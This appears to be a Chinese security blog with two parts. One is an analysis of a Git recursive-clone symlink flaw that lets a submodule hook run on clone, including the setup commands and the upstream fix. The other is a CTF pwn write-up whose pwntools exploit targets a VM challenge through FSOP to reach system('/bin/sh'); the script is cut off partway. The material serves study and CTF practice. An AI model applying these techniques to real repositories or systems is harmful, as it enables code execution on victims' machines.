• 上述步骤中，拷贝到captain仓库的hook仓库中的.git文件被替换成符号链接，指向 ../../../.git/modules/x/y，也就是<target_repo>/.git/modules/<name>的路径，这里会存放真正的hook的.git目录
• 在captain的.git目录中的modules目录下，创建x/y目录，并且往其中拷贝所有的hooks/.git的内容
• 创建.gitmodule目录

此时，captain中比较重要的文件结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

.
├── .git
│   ├── HEAD
│   ├── config
│   ├── description
│   ├── index
│   ├── info
│   │   └── exclude
│   ├── modules
│   │   └── x           // 这里添加了路径x/y
│   │       └── y
│   │           └── HEAD

├── .gitmodules
└── A                  // 这里添加了A/modules/x
    └── modules
        └── x
            ├── .git
            └── y     // 目录里面自带y目录
                └── hooks
                    └── post-checkout

让我们把几个关键目录罗列以下

1. 实际存放了hook仓库中.git的路径

1

.git/modules/x/y

2. 存放了被拷贝过来的hook仓库内容的路径

1

A/modules/x

3. 从captain的视角上看，子模块hook仓库中存放post-checkout的路径

1

A/modules/x/y/hooks/post-checkout

4. 从captain的视角上看，子模块hook仓库.git中hooks的路径为

1

.git/modules/x/y/hooks/

仔细看会发现，3和4的路径几乎只相差了A和.git部分，这就是这个漏洞攻击的一个前提。
在完成了布置之后，脚本会执行如下的逻辑

1
2
3

printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&

这里利用了git的比较底层的指令，通过这个操作，能够将a作为一个符号链接文件添加到 Git 索引中，符号链接指向 .git。这个操作会存放在git的索引中，而不会直接在目录中存在。实际上，这样操作完之后，目录结构如下

1
2
3
4
5
6
7
8
9
10

.
├── A
│   └── modules
│       └── x
│           └── y
│               └── hooks
│                   └── post-checkout
├── dot-git.hash
├── dotgit.txt
└── index.info

可以发现，这个a并不存在，但是在git的对象管理中，这个a作为一个对象存放了下来

1
2
3
4
5
6
7
8
9
10
11
12

git cat-file -p 76d2a0138b
tree ed6455916722fcf6cb5e03bf2602379f6237695f
parent 2e5996a4ad5795e526a53a68bfa24ad11674ccbf
author 1716626132 +0800
committer  1716626132 +0800

add-symlink

git cat-file -p ed64559167
100644 blob ccf40c309e227b3ea61e3d3138af32774d5f994a    .gitmodules
040000 tree 41eaba36bec8946d145682993e3efc13877161fa    A
120000 blob 191381ee74dec49c89f99a62d055cb1058ba0de9    a

这就是这个攻击的隐蔽之处：整个攻击过程中，符号链接文件始终藏在.git的对象索引中，所以粗略一看是无法找到有问题的部分的。但是，当我们在对captain仓库进行clone的时候，这个符号链接a就会被释放出来。

最后执行

1

git clone --recursive captain hooked 

就能实现最终的攻击。

此时，我们可以模拟以下整个攻击流程：

当我们在进行clone的时候，程序首先尝试将captain目录拷贝下来，执行ed64559167的操作，此时根据顺序，首先会创建这样的目录（tree）

1
2
3
4
5
6
7
8
9
10

.
├── A
│   
│   
│           
│           
│           
├── dot-git.hash
├── dotgit.txt
└── index.info

然后，git会紧接着创建符号链接a（Blob），此时由于大小写不敏感的特点，此时目录会变成

1
2
3
4
5
6
7
8
9
10

.
├── a -> .git
│   
│   
│   
│   
│   
├── dot-git.hash
├── dotgit.txt
└── index.info

接下来，会尝试对41eaba3中的对象进行释放，整个对象指向的为

1

040000 tree a555b64513d2e0a23bca63e990b793927daafa43    modules

于是就会顺着我们之前A目录指向的内容一点点进行释放，此时的释放路径变为

1

A/modules/x/y/hooks/post-checkout

而由于A此时被a顶替，a指向了.git，所以此时释放的路径改变为

1

.git/modules/x/y/hooks/post-checkout

于是，此时在我们的captain仓库中的.git/modules/x/y/hooks/post-checkout就成为了原本存放在hook目录中的一个脚本。而当完成了clone之后，最终captain目录中的git会尝试将hook的内容进行checkout操作，此操作最终就会诱发对应的post-checkout，导致脚本被执行！

修复策略

从git的官方修复，中，可以看到引入了一个叫做dir_contains_only_dotgit的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

static int dir_contains_only_dotgit(const char *path)
{
DIR *dir = opendir(path);
struct dirent *e;
int ret = 1;

if (!dir)
return 0;

e = readdir_skip_dot_and_dotdot(dir);
if (!e)
ret = 0;
else if (strcmp(DEFAULT_GIT_DIR_ENVIRONMENT, e->d_name) ||  // 如果找到了非.git目录
 (e = readdir_skip_dot_and_dotdot(dir))) { // 或者同时还存在另一个文件
error("unexpected item '%s' in '%s'", e->d_name, path);
ret = 0;
}

closedir(dir);
return ret;
}

struct dirent *readdir_skip_dot_and_dotdot(DIR *dirp)
{
struct dirent *e;

while ((e = readdir(dirp)) != NULL) { // 查找所有的目录
if (!is_dot_or_dotdot(e->d_name)) // 如果目录不是.或者..开头，则返回当前的e对象
break;
}
return e;
}

这个函数的作用为保证当前目录中仅包含.git目录这一个文件。之后程序还引入了如下的的修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

static int clone_submodule(const struct module_clone_data *clone_data,
   struct string_list *reference)
{

+if (!file_exists(sm_gitdir)) {
+if (clone_data->require_init && !stat(clone_data_path, &st) &&
+    !is_empty_dir(clone_data_path))
+die(_("directory not empty: '%s'"), clone_data_path);


    /// ......


+if (clone_data->require_init && !stat(clone_data_path, &st) &&
+    !dir_contains_only_dotgit(clone_data_path)) {
+char *dot_git = xstrfmt("%s/.git", clone_data_path);
+unlink(dot_git);
+free(dot_git);
+die(_("directory not empty: '%s'"), clone_data_path);
+}
  }
}

此处的clone_data_path实际上为<target_repo>/<name>
可以看到，在clone_submodule阶段，程序会保证本地路径满足以下条件才会进行clone操作

• 当进行clone操作前，目的地址为空
• 完成预备环境准备后(safe_create_leading_directories_const)和submodule的clone（但是不立即检出check-out工作目录中的文件）(run_command(&cp))后，程序检查目标目录中是否仅包含.git文件

此时这里的submodule的clone操作实际上执行的

1	git clone --no-checkout --progress --separate-git-dir <target_repo>/.git/modules/submodule --no-single-branch -- <submodule_path> <target_repo>/<name>

这个指令会将submodule的内容拷贝到根目录，但是不进行检出，也就是说此时 .git 中已经存放了 submodule 的 .git，但是还未发生检出(check-out)动作

实际上，指令执行的时候，会将.git中的内容放置在.git/modules/x/y这个路径下。

而根据我们之前的漏洞分析，clone_data_path，也就是<target_repo>/<name>，target_repo/A/modules/x/。如果未漏洞的影响下，此时的路径实际上是

1

/A/modules/x

那么此时就应该仅仅只有目标文件的.git文件。但是如果在漏洞印象下，此时的路径变为了

1

.git/A/modules/x

而显然根据我们前文分析，在这个路径下会有一个叫做y的目录存在，因此能够被检测出来。即便我们在起名阶段进行了绕过，实际上这个攻击的过程中一定会往对应的路劲写入文件，因此仓库一定会影响到指定的目录。所以当前的修复其实是非常合理的。

总结

整个分析下来，感觉这类漏洞最重要的点其实是时机，比如说：

• git clone 的时候，究竟是先拷贝了.git文件，还是先拷贝了目录中的其他文件？
• git clone 的时候，是先拷贝的符号链接，还是原始文件？它的依据是什么？
• post-checkout 是在captain进行checkout的时候执行，还是在hook进行checkout的时候进行的执行？

正是不同时机的巧妙结合，导致了这个漏洞的出现。这类符号链接类的漏洞需要抓住关键，找到最合适的诱发条件，才能最终触发。

参考链接

https://www.zhaohuabing.com/post/2019-01-21-git/

本文首发于奇安信攻防社区 https://forum.butian.net/share/3048

Magic VM

题目逻辑

题目本身其实非常的有趣，它实现了一个简易流水线的功能，程序中包含四个结构体，其中三个分别对应流水线中的三个流程：

• ID
• ALU
• MEM

程序用一个叫做vm的结构体来统筹这三个对象，并且使用vm_id vm_alu vm_mem来控制整体的逻辑处理过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

struct __attribute__((aligned(8))) vm
{
  char *reg0[4];
  __int64 now_stack_ptr;
  unsigned __int64 pc;
  char *code_base;
  __int64 data_base;
  __int64 stack_base;
  __int64 code_size;
  __int64 data_size;
  __int64 stack_size_;
  vm_id *id;
  vm_alu *alu;
  vm_mem *mem;
};

/* 6 */
struct __attribute__((aligned(8))) vm_alu
{
  char *is_valid;
  __int64 each_opcode_OPTYPE;
  __int64 ops_total_type;
  __int64 op1_addr_or_reg;
  __int64 op2_addr_or_reg;
  int result_type;
  int mem_num;
  __int64 dst_op_value;
  __int64 alu_result;
  __int64 now_stack_ptr;
  __int64 stack_ptr;
};

/* 7 */
struct __attribute__((aligned(8))) vm_mem
{
  int mem_valid_result_type;
  int mem_idx;
  __int64 dst_op_value;
  __int64 src_alu_result;
  __int64 now_stack_ptr;
  __int64 next_vm;
};

/* 8 */
struct __attribute__((aligned(8))) vm_id
{
  char *is_valid;
  __int64 each_opcode;
  __int64 ops1_total_type;
  __int64 op1_addr_or_reg;
  __int64 op2_addr_or_reg;
};

题目主要逻辑很简单，会用一个mmap的空间来作为代码段，数据段和栈帧：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

void __fastcall vm::vm(vm *this)
{
  vm_id *id; // rax
  vm_alu *alu; // rax
  vm_mem *mem; // rax
  __int64 i; // rdx

  this->code_base = (char *)mmap(0LL, 0x6000uLL, 3, 34, -1, 0LL);
  this->data_base = (__int64)(this->code_base + 0x2000);
  this->stack_base = this->data_base + 0x3000;
  this->data_size = 0x3000LL;
  this->code_size = 0x2000LL;
  this->stack_size_ = 0x1000LL;

  // skip code...
}

代码段大小为0x2000，数据段为0x3000，栈帧为0x1000。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

+----------------------------+
|                            |
|    0x2000 code             |
|                            |
|                            |
|                            |
|                            |
+----------------------------+
|                            |
|                            |
|    0x3000 data             |
|                            |
|                            |
|                            |
|                            |
|                            |
|                            |
|                            |
+----------------------------+
|                            |
|    0x1000 stack            |
|                            |
|                            |
+----------------------------+

其中代码段存放我们读入的数据作为指令，并且再vm::run中进行解码译码

1
2
3
4
5
6
7
8
9
10
11
12
13

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "plz input your vm-code");
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  read(0, my_vm.code_base, 0x2000uLL);
  vm::run(&my_vm);
  return 0;
}

解码逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

__int64 __fastcall vm::run(vm *vm)
{                                               // 第一次读取到id
                                                // 第二次alu发生运算
                                                // 第三次mem发生位移
  __int64 v1; // rax
  int v3; // [rsp+1Ch] [rbp-4h]

  while ( 1 )
  {
    vm_alu::set_input(vm->alu, vm);
    vm_mem::set_input(vm->mem, vm);
    vm->pc += (int)vm_id::run(vm->id, vm);
    v3 = vm_alu::run(vm->alu, vm);
    vm_mem::run(vm->mem, vm);
    if ( !v3 )
      break;
    if ( v3 == -1 )
    {
      v1 = std::operator<<<std::char_traits<char>>(&std::cout, "SOME STHING WRONG!!");
      std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
      exit(0);
    }
  }
  return 0LL;
}

其中对应关系如下

• vm_id::run:ID 译码阶段，进行指令的翻译和边界检查
• vm_alu::run:ALU 阶段，对译码的指令进行执行，计算等
• vm_mem::run:MEM 阶段，将计算阶段的结果存放在译码阶段指定的地址

循环开头的两个set_input会如同流水线般，将上次循环中得到的数据传递给下一个阶段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

             +----------+                                   
             |          |                                   
Loop 1       |   ID 1   |                                   
             |          |                                   
             +-----+----+                                   
                   |                                        
                   +--------------+                         
                                  |                         
             +-----------+   +----v------+                  
             |           |   |           |                  
Loop 2       |   ID 2    |   |   ALU 1   |                  
             |           |   |           |                  
             +-----+-----+   +-----+-----+                  
                   |               |                        
                   |               +-----------------+      
                   +--------------+                  |      
                                  |                  |      
                                  |                  |      
             +-----------+   +----v-------+   +------v-----+
             |           |   |            |   |            |
Loop 3       |   ID 3    |   |   ALU 2    |   |   MEM 1    |
             |           |   |            |   |            |
             +-----------+   +------------+   +------------+

可以得出结论：

当前指令再循环1被ID解析的读入数据，会在循环3被MEM进行存储

举例来说，假设对于指令mov r1, r2，这个程序的处理逻辑如下：

• 第一次循环中，由vm_id读取指令，解析操作数
• 第二次循环中，在vm_alu::set_input中，将id中的数据传递给alu，此时调用vm_alu::run进行计算操作
• 第三次循环中，在vm_mem::set_input中，将alu中的数据传递给mem，此时调用vm_mem::run进行赋值操作

在这个虚拟机中，无论操作寄存器，还是内存地址，均需要使用三步操作完成。

由前面的定义可知，程序的id中只记录操作类型，alu记录操作类型，计算结果和存储位置，mem仅记录存储位置。

ID 译码

在译码阶段，会涉及虚拟机的一些支持的指令类型，在虚拟机中包含三个寄存器，以及栈帧，支持地址访问和十种操作：

1
2
3
4
5
6
7
8
9
10
11
12
13

opcode = {
    "ADD":1,
    "SUB":2,
    "SHL":3,
    "SHR":4,
    "MOV":5,
    "AND":6,
    "OR":7,
    "XOR":8,
    "PUSH":9,
    "POP":10,
    "NOP":11,
}

指令格式如下

1

[opcode][optype][value1][value2]

其中optype定义了两个操作数的类型。第1，2bit用于定义第一个操作数的类型，第3，4bit用于定义第二个操作数类型。类型支持如下三种

• NUM（1）:仅当成数据，value长度为8字节
• REG（2）:作为寄存器下标（0~3）value长度为1字节
• ADDR（3）:将value作为寄存器下标（0~3），取寄存器的值当成地址，

其中，当我们的使用id解析类似mov r1, [r2]的模拟指令的时候，会检查r2是否超出了database的范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

else if ( ope1_type == OP_ADDR )            // 均为1，作为地址解析
{
    opcode_len = 3;
    v6 = buf_ptr_next2;
    buf_ptr_next2 = (__int64 *)((char *)buf_ptr_next2 + 1);
    v13 = *(_BYTE *)v6;
    if ( vm_id::check_addr(id, (unsigned __int64)vm->reg0[*(char *)v6], vm) )   // 检查当前寄存器中指向的值是否越界
    {
    id->each_opcode = each_opcode;
    id->op1_addr_or_reg = v13;              // 此时为地址
    }
    else
    {
    id->each_opcode = -1LL;
    }
}

如果直接使用寄存器，则同样的也会检测选择寄存器的时候是否会选择0~3以外的寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

if ( ope1_type == OP_REG )                  // 检查第一个ops类型
{
    opcode_len = 3;
    v5 = buf_ptr_next2;
    buf_ptr_next2 = (__int64 *)((char *)buf_ptr_next2 + 1);
    v12 = *(_BYTE *)v5;
    if ( vm_id::check_regs(id, *(char *)v5, vm) )// 检查是否为寄存器
    {
    id->each_opcode = each_opcode;
    id->op1_addr_or_reg = v12;              // 此时为寄存器
    }
    else
    {
    id->each_opcode = -1LL;
    }
}

之后，ID对象就会记录以下数据，之后会在下一个循环中传递给ALU

• 指令
• 操作数类型
• 操作数1
• 操作数2

ALU 计算

在ALU进行计算的时候，会根据由ID传递的操作类型，取出对应的寄存器或者内存地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

v4 = vm_alu->ops_total_type & 3;
if ( v4 == OP_REG )                         // 检查第一个操作数的类型
{
    vm_alu->mem_num = 1;
    vm_alu->dst_op_value = (__int64)&vm->reg0[vm_alu->op1_addr_or_reg];// 寄存器的操作
    vm_alu->op1_addr_or_reg = (__int64)vm->reg0[vm_alu->op1_addr_or_reg];
}
else
{
    if ( v4 != OP_ADDR )
    return 0xFFFFFFFFLL;                    // 第一个类型需要为地址，同时使得op1_addr_or_reg为越界的地址
    if ( (vm_alu->ops_total_type & 0xC) == 12 )
    return 0xFFFFFFFFLL;
    vm_alu->mem_num = 1;
    vm_alu->dst_op_value = (__int64)&vm->reg0[vm_alu->op1_addr_or_reg][vm->data_base];// 否则，作为地址操作
    vm_alu->op1_addr_or_reg = *(_QWORD *)&vm->reg0[vm_alu->op1_addr_or_reg][vm->data_base];// vm_start+op1_offset+data_base
}

注意，在ALU中，会把我们的操作数1作为目的操作数，无论里面指定的是寄存器还是内存地址，都会取出其指针放在dst_op_value，之后就会进行运算操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

switch ( vm_alu->each_opcode_OPTYPE )
    {
      case ADD:
        vm_alu->alu_result = vm_alu->op2_addr_or_reg + vm_alu->op1_addr_or_reg;
        break;
      case MIN:
        vm_alu->alu_result = vm_alu->op1_addr_or_reg - vm_alu->op2_addr_or_reg;
        break;
      case LMOV:
        vm_alu->alu_result = vm_alu->op1_addr_or_reg << vm_alu->op2_addr_or_reg;
        break;
      case RMOV:
        vm_alu->alu_result = (unsigned __int64)vm_alu->op1_addr_or_reg >> vm_alu->op2_addr_or_reg;
        break;
      case OP2:
        vm_alu->alu_result = vm_alu->op2_addr_or_reg;
        break;
      case AND:
        vm_alu->alu_result = vm_alu->op2_addr_or_reg & vm_alu->op1_addr_or_reg;
        break;
      case OR:
        vm_alu->alu_result = vm_alu->op2_addr_or_reg | vm_alu->op1_addr_or_reg;
        break;
      case XOR:
        vm_alu->alu_result = vm_alu->op2_addr_or_reg ^ vm_alu->op1_addr_or_reg;
        break;
      default:
        goto EXITCALC;
    }
    goto EXITCALC;

完成计算后，下列值会被保留，传递给MEM

• alu_result：计算的结果
• dst_op_value：用于存放运算结果的地址
• mem_num：发生了变化的内存地址，如果是PUSH或者POP指令，此时会需要改变内存地址的值（栈指针，栈指向的内存）
• result_type：表示当前运算是否有效（指令是否正确等等），会传递给MEM的mem_valid_result_type成员

MEM 存放

MEM部分比较简单，会根据来自ALU传递的值进行赋值处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

__int64 __fastcall vm_mem::run(vm_mem *this, vm *a2)
{
  __int64 mem_valid; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  mem_valid = (unsigned int)this->mem_valid_result_type;
  if ( (_DWORD)mem_valid )
  {
    for ( i = 0; ; ++i )
    {
      mem_valid = (unsigned int)this->mem_idx;
      if ( i >= (int)mem_valid )
        break;
      **((_QWORD **)&this->dst_op_value + 2 * i) = *(&this->src_alu_result + 2 * i);
    }
  }
  return mem_valid;
}

这里再提一次，在这个虚拟机模拟过程中，虽然它也实现了寄存器，但是对寄存器的操作本质上等同对内存地址空间的操作，也是使用引用进行赋值，所以本质上等同内存操作。

程序漏洞

乍一看，程序的执行非常有逻辑：

• ID 解析指令，并且检查访问是否越界
• ALU 根据ID 解析的结果进行数据的分析计算
• MEM 存储对应的数据

但是这里有一个非常典型的问题，那就是：检查和使用不处在同一个上下文中。这句话怎么理解呢？对于这个题目而言，上下文就是指在同一个循环中。我们根据题目会发现，程序进行变量检查的时候发生在ID环节，而当进入ALU环节的时候，已经在下一个循环，而进入MEM环节，甚至在下两个循环了。这样会有什么问题呢？让我们假设一系列指令如下:

1
2
3
4
5

0:add r1, 0xffff
1:mov r1, 0
2:add r2, [r1]
3:nop
4:nop

最初的时候，0被解析

1
2
3
4
5

0:add r1, 0xffff    < --- ID
1:mov r1, 0
2:add r2, [r1]
3:nop
4:nop

当执行1的时候，1被解析，0被计算

1
2
3
4
5

0:add r1, 0xffff    < --- ALU
1:mov r1, 0         < --- ID
2:add r2, [r1]
3:nop
4:nop

我们来讨论当执行2的时候，发生了什么

1
2
3
4
5

0:add r1, 0xffff    < --- MEM
1:mov r1, 0         < --- ALU
2:add r2, [r1]      < --- ID
3:nop
4:nop

正常逻辑上讲，当我们执行到2的时候，由于r1=0xffff，超出了database，此时理论上这条指令是没办法由ID进行解析的。然而实际上此时执行的内容是这样的

1
2
3
4
5

0:add r1, 0xffff    < --- MEM
1:mov r1, 0         < --- ALU
2:add r2, [0]       < --- ID  这里发生了什么？
3:nop
4:nop

正如我们前面提到的流水线问题，这里r1也正处在MEM阶段，而且根据代码逻辑，此时为ID->ALU->MEM的调用顺序，也就是说此时的r1仍未被正确赋值。
那么根据逻辑来说，此时的2这条指令能够通过ID的解码阶段。那么，当执行3的时候，会变成这样

1
2
3
4
5

0:add r1, 0xffff
1:mov r1, 0         < --- MEM
2:add r2, [r1]      < --- ALU
3:nop               < --- ID
4:nop

根据执行顺序，此时的ALU阶段中，r1已经被赋值成了0xffff，但是依然通过了ID的check。

1
2
3
4
5

0:add r1, 0xffff
1:mov r1, 0         < --- MEM
2:add r2, [0xffff]  < --- ALU  发生了越界访问！！！
3:nop               < --- ID
4:nop

综合流程，我们可以通过这个漏洞获得越界的任意地址加减的能力。

EXP

实际上，这个题目基本上也算是获得了任意位置读写的能力，不过在比赛期间我比较着急，没有想的那么清楚，以为只有一个任意地址加减的能力，下文也将以这个前提讨论漏洞利用。由于本人不太熟悉2.35的利用手法，于是咨询了队友，在队友的提示下考虑到可以通过文件指针操作来进行攻击，攻击方式可以参考这里 提到的一种叫做House of cat的攻击策略，简单来说就是FSOP，但是使用的是_OI_wfile_JUMP的表。并且利用类似House of Emma的思路，对vtable偏移进行微调，从而实现调用seekoff函数，实现劫持。
这种好像就叫作板子题，就是将EXP套用到一个现有的模板上

程序自带一个exit函数，所以当我们完成了指令的编写之后，它自然会通过exit退出程序，通过_IO_flush_all_lockp诱发漏洞。我这里使用的是异常流，但是为了诱导程序触发flush，还需要通过主动的修改FILE->_IO_write_base<FILE->_IO_write_ptr来保证攻击能够触发。

这种利用方式其实蛮多人利用过，这位师傅已经讲的很清楚了，我基本上就是照着这位师傅提到的点进行布局。不过由于我以为题目仅有任意地址加减的能力，于是在利用过程中使用了已有的stderr 流，利用其中残留的指针进行相对偏移，从而实现漏洞利用。
在这道题在做的时候，有一个小坑，在这个文章中的评论区也有人提到，也就是mode参数不对：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

__off64_t __fastcall IO_wfile_seekoff(_IO_FILE *file, __int64 offset, unsigned int dir, int mode)
{
   v4 = a1;
  v101 = __readfsqword(0x28u);
  wide_data = file->_wide_data;
  if ( !a4 )
  {
    // 这其中无法使用当前攻击流程
  }

  _IO_write_base = (unsigned __int64)wide_data->_IO_write_base;
  _IO_write_ptr = (unsigned __int64)wide_data->_IO_write_ptr;
  v9 = offset;
  if ( *(_OWORD *)&wide_data->_IO_read_base == __PAIR128__(_IO_write_ptr, wide_data->_IO_read_end) )
  {
    LODWORD(v93) = 1;
  }
  else
  {
    LODWORD(v93) = 0;
    if ( _IO_write_base < _IO_write_ptr )
      goto LABEL_4;
  }
  if ( (file->_flags & 0x800) == 0 )
  {
    if ( wide_data->_IO_buf_base )
      goto LABEL_6;
    goto LABEL_36;
  }
LABEL_4:
  v10 = IO_switch_to_wget_mode(&file->_flags);      /// 关键要进入这个函数
}

__int64 __fastcall IO_switch_to_wget_mode(_IO_FILE *a1)
{
  struct _IO_wide_data *wide_data; // rax
  wchar_t *IO_write_ptr; // rdx
  __int64 result; // rax
  int flags; // ecx

  wide_data = a1->_wide_data;
  IO_write_ptr = wide_data->_IO_write_ptr;
  if ( IO_write_ptr > wide_data->_IO_write_base )
  {
    result = (*((__int64 (__fastcall **)(_IO_FILE *, __int64))wide_data->_wide_vtable + 3))(a1, 0xFFFFFFFFLL); // 关注这里
    if ( (_DWORD)result == -1 )
      return result;
    wide_data = a1->_wide_data;
    IO_write_ptr = wide_data->_IO_write_ptr;
  }
  // 包含其他逻辑
}

攻击链使用的是IO_switch_to_wget_mode函数，但是这个函数需要在参数mode!=0的时候触发，而在这道题的时候不满足这条条件，追踪调用流能看到对应的位置发生赋值的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

__int64 __fastcall IO_flush_all_lockp(int a1){

  // 省略部分代码
      if ( file->_mode > 0 )
      {
        _wide_data = file->_wide_data;
        v3 = _wide_data->_IO_write_base;
        if ( _wide_data->_IO_write_ptr > v3 )
          goto LABEL_8;
      }
      else if ( file->_IO_write_ptr > file->_IO_write_base )
      {
LABEL_8:
        vtable = *(_QWORD *)&file[1]._flags;
        if ( &unk_7FC0EAE64768 - (_UNKNOWN *)qword_7FC0EAE63A00 <= (unsigned __int64)(vtable - (_QWORD)qword_7FC0EAE63A00) )
        {
          v14 = *(_QWORD *)&file[1]._flags;
          sub_7FC0EACD6EF0(lock, vtable - (_QWORD)qword_7FC0EAE63A00);
          vtable = v14;
        }
        lock = (__int64 *)&file->_flags;
        if ( (*(unsigned int (__fastcall **)(void *, __int64, void *, void *))(vtable + 24))(  //OVERFLOW 函数调用
               file,
               0xFFFFFFFFLL,
               (void *)v8,
               v3) == -1 )

               

其实本来这里的v3（也就是第四个参数mode）是不存在的，但是毕竟我们是强制修改了调用函数的位置，所以这里相当于强行激活了这个参数。
观察程序可知，第四个参数来自于_wide_data->_IO_write_base，同时还必须保证file->_mode > 0以及_wide_data->_IO_write_ptr > _wide_data->_IO_write_base 才能满足，于是这个位置新增需求如下

• file->_mode > 0
• _wide_data->_IO_write_ptr > _wide_data->_IO_write_base（只有大于才会赋值v3）
• _wide_data->_IO_write_base != 0（满足seekoff函数的mode）

梳理所有的需求，可以知道这个板子的调用条件为:

• FILE->_IO_write_base<FILE->_IO_write_ptr
• wide_data->_IO_write_base < wide_data->_IO_write_ptr
• wide_data->_IO_read_end != wide_data->_IO_read_ptr
• FILE->_lock可写（这一个条件来自于之前提到的_IO_flush_all_lockp函数要求）
• file->_mode > 0
• _wide_data->_IO_write_base != 0（满足seekoff函数的mode）

总共六条。同时为了实现利用，需要修改如下的点:

• FILE->flag="/bin/sh"
• wide_data->jump(0xe0 offset)->0x18 = system

两条要求，总共八条。整体exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191

from pwn import *

"""
[opcode][optype][value1][value2]
"""

opcode = {
    "ADD":1,
    "SUB":2,
    "LMOV":3,
    "RMOV":4,
    "OP2":5,
    "AND":6,
    "OR":7,
    "XOR":8,
    "PUSH":9,
    "POP":10,
    "NOP":11,
}

# push and pop will select this one default
RET_REG = 1

def generate_type(t):
    if t == "NUM":
        # address
        return 1
    elif t == "ADDR":
        # address
        return 3
    else:
        # register
        return 2

# push last value into stack
def push_value():
    shellcode = b''
    shellcode += p8(opcode["PUSH"])
    # push value
    # optype
    shellcode += p8(generate_type("REG"))
    # opvalue, select reg1
    shellcode += b'\x01'
    return shellcode

# push last value into stack
def add_value(value):
    shellcode = b''
    shellcode += p8(opcode["ADD"])
    # push value
    # optype
    # add reg,num
    shellcode += p8(((generate_type("NUM") << 2) | generate_type("REG")))
    # opvalue, select reg1
    shellcode += p8(RET_REG)
    shellcode += p64(value)
    
    return shellcode

def sub_value_reg(value):
    shellcode = b''
    shellcode += p8(opcode["SUB"])
    # push value
    # optype
    # sub [reg],num
    shellcode += p8(((generate_type("NUM") << 2) | generate_type("REG")))
    # opvalue, select reg1
    shellcode += p8(RET_REG)
    shellcode += p64(value)

    return shellcode

def sub_value(value):
    shellcode = b''
    shellcode += p8(opcode["SUB"])
    # push value
    # optype
    # sub [reg],num
    shellcode += p8(((generate_type("NUM") << 2) | generate_type("ADDR")))
    # opvalue, select reg1
    shellcode += p8(RET_REG)
    shellcode += p64(value)
    
    return shellcode

def xor_value_reg(value):
    shellcode = b''
    shellcode += p8(opcode["XOR"])
    shellcode += p8(((generate_type("NUM") << 2) | generate_type("REG")))
    # opvalue, select reg1
    shellcode += p8(3)
    shellcode += p64(value)
    
    return shellcode

# pop value out of stack
def pop_value():
    shellcode = b''
    shellcode += p8(opcode["POP"])
    # push value
    # optype
    shellcode += p8(generate_type("REG"))
    # opvalue, select reg1
    shellcode += b'\x01'
    return shellcode

# set result with value and reg
def set_value_reg(value, reg):
    shellcode = b''
    shellcode += p8(opcode["OP2"])
    # push value
    # optype
    types = ((generate_type("NUM") << 2) | generate_type("REG"))
    shellcode += p8(types)
    # opvalue, select reg1
    shellcode += p8(reg)
    # opvalue as op2
    shellcode += p64(value)
    return shellcode

def nop():
    shellcode = b''
    shellcode += p8(opcode["NOP"])
    return shellcode

OFFSET_TO_LIBC = 0x9000
def off(offset):
    return OFFSET_TO_LIBC+offset
    
def generate_read(offset, value):
    shellcode = b''
    # here set the mov offset
    shellcode += add_value(offset) # ID
    shellcode += set_value_reg(0, RET_REG) # ALU
    # here use add/sub to calculate the 
    shellcode += sub_value(value) # ID -> MEM
    shellcode += nop() # ALU calculate
    shellcode += nop() # MEM saving data

    return shellcode



# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
ph = process("./pwn")
# gdb.attach(ph)

# libc offset
LIBC_STDERR = 0x21b6a0
# stderr_vtable = libc + 0xd8
STDERR_VTABLE = LIBC_STDERR + 0xd8
# wide_data = libc + 0x21a8a0
WIDE_DATA = 0x21a8a0
# IO_READ_PTR = wide_data+0 bypass check1
IO_READ_PTR_OFF = 0
# IO_READ_PTR = wide_data+0 bypass check2
IO_WRITE_PTR_OFF = 0x20
# OVERFLOW call
